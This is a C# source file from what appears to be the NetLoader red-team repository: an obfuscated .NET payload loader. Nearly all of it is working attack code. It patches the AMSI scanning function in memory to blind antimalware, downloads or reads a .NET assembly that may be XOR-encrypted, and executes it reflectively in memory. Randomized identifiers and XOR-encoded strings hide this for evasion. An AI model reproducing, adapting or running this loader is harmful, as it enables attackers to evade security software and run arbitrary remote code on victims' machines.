Files
Flangvik-NetLoader/Source/Program.cs
T
2020-06-16 19:05:24 +00:00

253 lines
16 KiB
C#

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Linq;
using System.Threading;
//This if for MSBuild LOL bin stuff later
//using Microsoft.Build.Framework;
//using Microsoft.Build.Utilities;
public class TugginglyAwabi{
private static object[] DomesticizeVilify = null;
[DllImport("kernel32")]
private static extern IntPtr LoadLibrary(string AmmoniuriaKetine);
[DllImport("kernel32")]
private static extern bool VirtualProtect(IntPtr AlphabetizesChifforobes, UIntPtr UnlottedHydrochelidon, uint ParseCrackpotism, out uint GambianInsultproof);
[DllImport("kernel32")]
private static extern IntPtr GetProcAddress(IntPtr ResituatedMayhems, string AldolizedShochets);
private static IntPtr OverpotentnessThwacker(IntPtr NubeculaeConcretional)
{
uint UnraisedPinakotheke = 0;
if (VirtualProtect(NubeculaeConcretional, (UIntPtr)ReleasementApyrotype().Length, 0x40, out UnraisedPinakotheke))
{
return NubeculaeConcretional;
}
else
{
return (IntPtr)0;
}
}
private static object MismanagedRegistral(MethodInfo DiscophileMidmost)
{
if (AkinSupramortal(DiscophileMidmost) == DiscophileMidmost.ReflectedType)
return DiscophileMidmost.Invoke(null, DomesticizeVilify);
return DomesticizeVilify[0];
}
private static void HaemsCrepeiest()
{
IntPtr NubeculaeConcretional = OverpotentnessThwacker(SandpeepsInterventralia());
if (NubeculaeConcretional != (IntPtr)0)
{
Marshal.Copy(ReleasementApyrotype(), 0, NubeculaeConcretional, ReleasementApyrotype().Length);
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("FE07TDoWBg0GFjQTBwIJAG8WBxgKCwAKQyQKJjtP"), "OfflicenceGurney")));
}
else
{
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("GE4uRTcMEQ0cOh4ITjUiPQpPNSQuISAq"), "CosegmentSponton")));
}
}
private static Type AkinSupramortal(MethodInfo DiscophileMidmost)
{
return DiscophileMidmost.ReflectedType;
}
private static string PhillTilter(string MayacaStarvelings, bool DefigureDeathbed)
{
if (DefigureDeathbed)
MayacaStarvelings = Encoding.UTF8.GetString(Convert.FromBase64String(MayacaStarvelings));
if (MayacaStarvelings.Trim().ToLower().Equals(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("LQ=="), "UnderassessmentChymify"))))
Environment.Exit(0);
return MayacaStarvelings;
}
private static byte[] DamndestsKrapina(byte[] MayacaStarvelings, string TinererSemibolshevized)
{
//byte[] keyBytes = Encoding.UTF8.GetBytes(TinererSemibolshevized);
byte[] ShortcomerCalculationBytes = new byte[MayacaStarvelings.Length];
for (int i = 0; i < MayacaStarvelings.Length; i++)
{
ShortcomerCalculationBytes[i] = (byte)(MayacaStarvelings[i] ^ Encoding.UTF8.GetBytes(TinererSemibolshevized)[i % Encoding.UTF8.GetBytes(TinererSemibolshevized).Length]);
}
return ShortcomerCalculationBytes;
}
private static byte[] ReleasementApyrotype()
{
if (System.Environment.Is64BitOperatingSystem)
return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
}
private static MethodInfo CanajongBathymeter(Assembly asm)
{
return asm.EntryPoint;
}
public static void Main(string[] args)
{
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("CEk4UBYjHgU8AhAMB3NERQ4pFxwLYh1GRiI2HCkfCQEXFg=="), "ShepherdRefel")));
int HyperidealisticallyWalkovers = (Convert.ToInt32(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("ckpX"), "ArchprincePrechoroid"))) * Convert.ToInt32(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("cQ=="), "IncumbrancesManifestatively"))));
string SeverestEst = "";
string[] CosmopoliteMoran = new string[] { };
bool OofyProhydrotropic = false;
bool ArgusianusAssociating = false;
string PreexpeditionMucronated = "";
if (args.Length > 0)
{
foreach (string argument in args)
{
if (argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("a18DQls="), "FratorityIsthmic")) || argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("eg1CQA=="), "WottethPhytane")))
{
OofyProhydrotropic = true;
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("GUQySzIEA1ASIggGHgwMHR9JEh8nTy0KAA1ZRFM1ARAcDQcNQEkXCCEACwIdD08EGzUCUxwHQh0EDFMLLhY="), "BookshopsPossibilism")));
}
if (argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("bhcBGA=="), "ConjuredToxicopathy")) || argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("YEIWBh4="), "MonilialesAiluromania")))
{
ArgusianusAssociating = true;
int GesanGlucose = Array.IndexOf(args, argument) + 1;
if (GesanGlucose < args.Length)
{
string FendConnected = args[GesanGlucose];
if (OofyProhydrotropic)
PreexpeditionMucronated = Encoding.UTF8.GetString(Convert.FromBase64String(FendConnected));
else
PreexpeditionMucronated = FendConnected;
}
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("EkU5RScJChwYEhgMAAJTKxo8UgoMARcdORoBAUMOAAAAEBVFGxYaHTJOGQobQkIfeRND"), "IndeclinablenessUnrobbed")), PreexpeditionMucronated);
}
if (argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("bh8PBxw="), "ConstruableUnmineralized")) || argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("eFkcABMJ"), "UtlagaryAreolate")))
{
int GesanGlucose = Array.IndexOf(args, argument) + 1;
if (GesanGlucose < args.Length)
{
string CompromisedLineary = args[GesanGlucose];
if (OofyProhydrotropic)
SeverestEst = Encoding.UTF8.GetString(Convert.FromBase64String(CompromisedLineary));
else
SeverestEst = CompromisedLineary;
}
}
if (argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("aA8GDwE="), "EnthrallerNonrecuperativeness")) || argument.ToLower() == Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("f0gRFxUe"), "RepermissionInterestingly")))
{
int MecopteraNonsingularity = Array.IndexOf(args, argument) + 1;
int SecundumNovelistically = args.Length - MecopteraNonsingularity;
CosmopoliteMoran = new String[SecundumNovelistically];
for (int i = 0; i < SecundumNovelistically; i++)
{
string CompromisedLinearyArgs = args[MecopteraNonsingularity + i];
if (OofyProhydrotropic)
CosmopoliteMoran[i] = Encoding.UTF8.GetString(Convert.FromBase64String(CompromisedLinearyArgs));
else
CosmopoliteMoran[i] = CompromisedLinearyArgs;
}
}
}
if (string.IsNullOrEmpty(SeverestEst))
{
PiercingVessel();
Environment.Exit(0);
}
DaduPailou(SeverestEst, CosmopoliteMoran, ArgusianusAssociating, PreexpeditionMucronated, HyperidealisticallyWalkovers);
Environment.Exit(0);
}
while (true)
{
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("ElEzRTsYEQERYTpSCAZBDAcaaQgHAB4SQQAKYQcKCBxA"), "InnervateAbrahamic")));
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("CEotRTsbSRMZCEkHCyYaBlQLAgYJV0ZzEB4GHQwMFlVbSRdKOE9fSkk="), "SuperhirudineVorticular")));
OofyProhydrotropic = BayaderePatroiophobia(Console.ReadKey(false).Key);
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("C00yUyYeGRYVTBwYNwRBHRtHGh4IcF9RUw=="), "ProsopicallyClarigold")));
SeverestEst = PhillTilter(Console.ReadLine(), OofyProhydrotropic);
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("DlE7RSgAQRYEAE4VEgovBwgJRRYEIQ9GPS4hQQcCBhwcAwcmDElSRQtKO05LW0E="), "UnfeasablenessChimere")));
ArgusianusAssociating = BayaderePatroiophobia(Console.ReadKey(false).Key);
if (ArgusianusAssociating)
{
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("GlEpSTsLAAAWTB0LBE4bICdSCgIcYUNKSQ=="), "AntirepublicanCourage")));
PreexpeditionMucronated = PhillTilter(Console.ReadLine(), OofyProhydrotropic);
}
Console.WriteLine("[?] Input payload args (optional) -> ");
CosmopoliteMoran = PhillTilter(Console.ReadLine(), OofyProhydrotropic).Split(' ');
if (SeverestEst.Length > 0)
{
DaduPailou(SeverestEst, CosmopoliteMoran, ArgusianusAssociating, PreexpeditionMucronated, HyperidealisticallyWalkovers);
}
}
}
private static byte[] SuperheroesFormulisation(string TapisesReimpact, FileMode VellinchChechakos)
{
byte[] ShortcomerCalculation = null;
using (FileStream fs = new FileStream(TapisesReimpact, VellinchChechakos, FileAccess.Read))
{
ShortcomerCalculation = new byte[fs.Length];
fs.Read(ShortcomerCalculation, 0, (int)fs.Length);
}
return ShortcomerCalculation;
}
private static Assembly CoffeehousesLagoonside(byte[] RoseousLandslide)
{
return Assembly.Load(RoseousLandslide);
}
private static byte[] UnequivalveScalares(string url)
{
byte[] BimetallicMottramite = null;
using (WebClient SnowploughApparition = new WebClient())
{
SnowploughApparition.Credentials = CredentialCache.DefaultCredentials;
BimetallicMottramite = SnowploughApparition.DownloadData(new Uri(url));
}
return BimetallicMottramite;
}
public static int QuinolylPaleophytological(int JowelApplies)
{
var LinotyperNavet = ServicePointManager.SecurityProtocol;
LinotyperNavet = (SecurityProtocolType)JowelApplies;
return JowelApplies;
}
private static void NeritoidPhalangiidae(byte[] MicropathologicalAktistete)
{
HaemsCrepeiest();
MismanagedRegistral(CanajongBathymeter(CoffeehousesLagoonside(MicropathologicalAktistete)));
}
private static IntPtr SandpeepsInterventralia()
{
return GetProcAddress(LoadLibrary(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("JhQdCEsHAwA="), "GynaecolRediscountable"))), Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("FgIcDSQCEwsOGg8IBh4="), "WoodwareLoincloth")));
}
private static void TwankleUnsynchronised(byte[] MicropathologicalAktistete, string PreexpeditionMucronated)
{
HaemsCrepeiest();
MismanagedRegistral(CanajongBathymeter(CoffeehousesLagoonside(DamndestsKrapina(MicropathologicalAktistete, PreexpeditionMucronated))));
}
private static void DaduPailou(string NeedmentPectoriloquy, string[] PhenoplasticConduced, bool ArgusianusAssociatingoded = false, string PreexpeditionMucronated = "", int PalpatingParenthesizes = 0)
{
QuinolylPaleophytological(PalpatingParenthesizes);
if (!string.IsNullOrEmpty(string.Join(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("Zg=="), "FilibranchiaReproof")), PhenoplasticConduced)))
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("EE44Tjs3P1w1MhktTFtO"), "KeennessesMelancholia")) + NeedmentPectoriloquy + Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("FBwXGQwQHR0RTF9O"), "UnplausiblenessWilli")) + string.Join(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("Zg=="), "FilibranchiaReproof")), PhenoplasticConduced));
else
{
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("EE44Tjs3P1w1MhktTFtO"), "KeennessesMelancholia")) + NeedmentPectoriloquy + Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("FBwXGQwQHR0RTF9O"), "UnplausiblenessWilli")) + string.Join(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("Zg=="), "FilibranchiaReproof")), PhenoplasticConduced));
}
DomesticizeVilify = new object[] { PhenoplasticConduced };
if (ArgusianusAssociatingoded && NeedmentPectoriloquy.ToLower().StartsWith(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("OwEYAA=="), "SulphurizingFutilely"))))
{
TwankleUnsynchronised(UnequivalveScalares(NeedmentPectoriloquy), PreexpeditionMucronated);
}
else if (!ArgusianusAssociatingoded && NeedmentPectoriloquy.ToLower().StartsWith(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("OwEYAA=="), "SulphurizingFutilely"))))
{
NeritoidPhalangiidae(UnequivalveScalares(NeedmentPectoriloquy));
}
else if (!ArgusianusAssociatingoded && !NeedmentPectoriloquy.ToLower().StartsWith(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("OwEYAA=="), "SulphurizingFutilely"))))
NeritoidPhalangiidae(SuperheroesFormulisation(NeedmentPectoriloquy, FileMode.Open));
else
TwankleUnsynchronised(SuperheroesFormulisation(NeedmentPectoriloquy, FileMode.Open), PreexpeditionMucronated);
}
private static void PiercingVessel()
{
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("HxwXHjZRSQ=="), "JovySkiagram")));
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("HRYAAxZRSTV9A1hdM0U6QzAKE0RPAAwXbjxORB4EFQZoWQMNHQobFw8RDx0GW0E1ZQQTAwBLVQw5Dw8bFzoAHC8WXzk="), "HeadskinPaninean")));
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("CBFfEFNRVGwqABsaHwEABRVMCRkSM0UCExcEAykRFR1TGQEKDRoNGxwdM0UGGgQRTi0JHE8cBAcLFlkcDgcSOQAGFxcWTi0XFU8RERwLUk1MChsQOwEXFks="), "TerreenLepospondylous")));
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("DBteDBwCUkUhHx0NPwEeDQlTGQQiDh4RBxUaRQcBDQ0zDgQFCxRJETgOB1QRGQYEHBZJAjkDFR9FEhsAcDc8JlMVBgYcFhkQNQteTCgGGhFwDRZUFR8ECQEYDABwDQlMERsMRQggIVQXFQsXFx8dDT8BUAcACkc="), "PostsphenoidPoplesie")));
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("Dw1DERkRG3RFOhIcCw4ZPAsXQQgEAS8IEgcXHUFNGhcKCBsEBysWVwcaCk8dMg0GTVgAGjoNEgFSAwAOMhVODgpFEm4wJT9eTwALcw0GBFgHGiAEBQpSGwBNPxYPBVY="), "SynaxesNewsroom")));
Console.WriteLine(Encoding.UTF8.GetString(DamndestsKrapina(Convert.FromBase64String("CRpEDxYSEF9ECxkVCgMPHRUFQyUPGw8JEBcAFmQcEgYIQQcbSRM0HRpOBQcEEAkhBxUQTBUcVB0LME4FAQURBgFEJgAPAh4YXVQkFiYaSQwBVQUKCCgGFgYIQRENSQI5AkkPFhIWCAEqHRJDCg4BVB0LME4LBwoUERxK"), "UninducedDiaclastic")));
}
private static bool BayaderePatroiophobia(ConsoleKey RethresherFairishly)
{
if (RethresherFairishly == ConsoleKey.X)
Environment.Exit(0);
return (RethresherFairishly == ConsoleKey.Y);
}
/*
//This is for MSBuild later
public class ClassExample : Task, ITask
{
public override bool Execute()
{
TugginglyAwabi.Main(new string[] { });
return true;
}
}
*/
}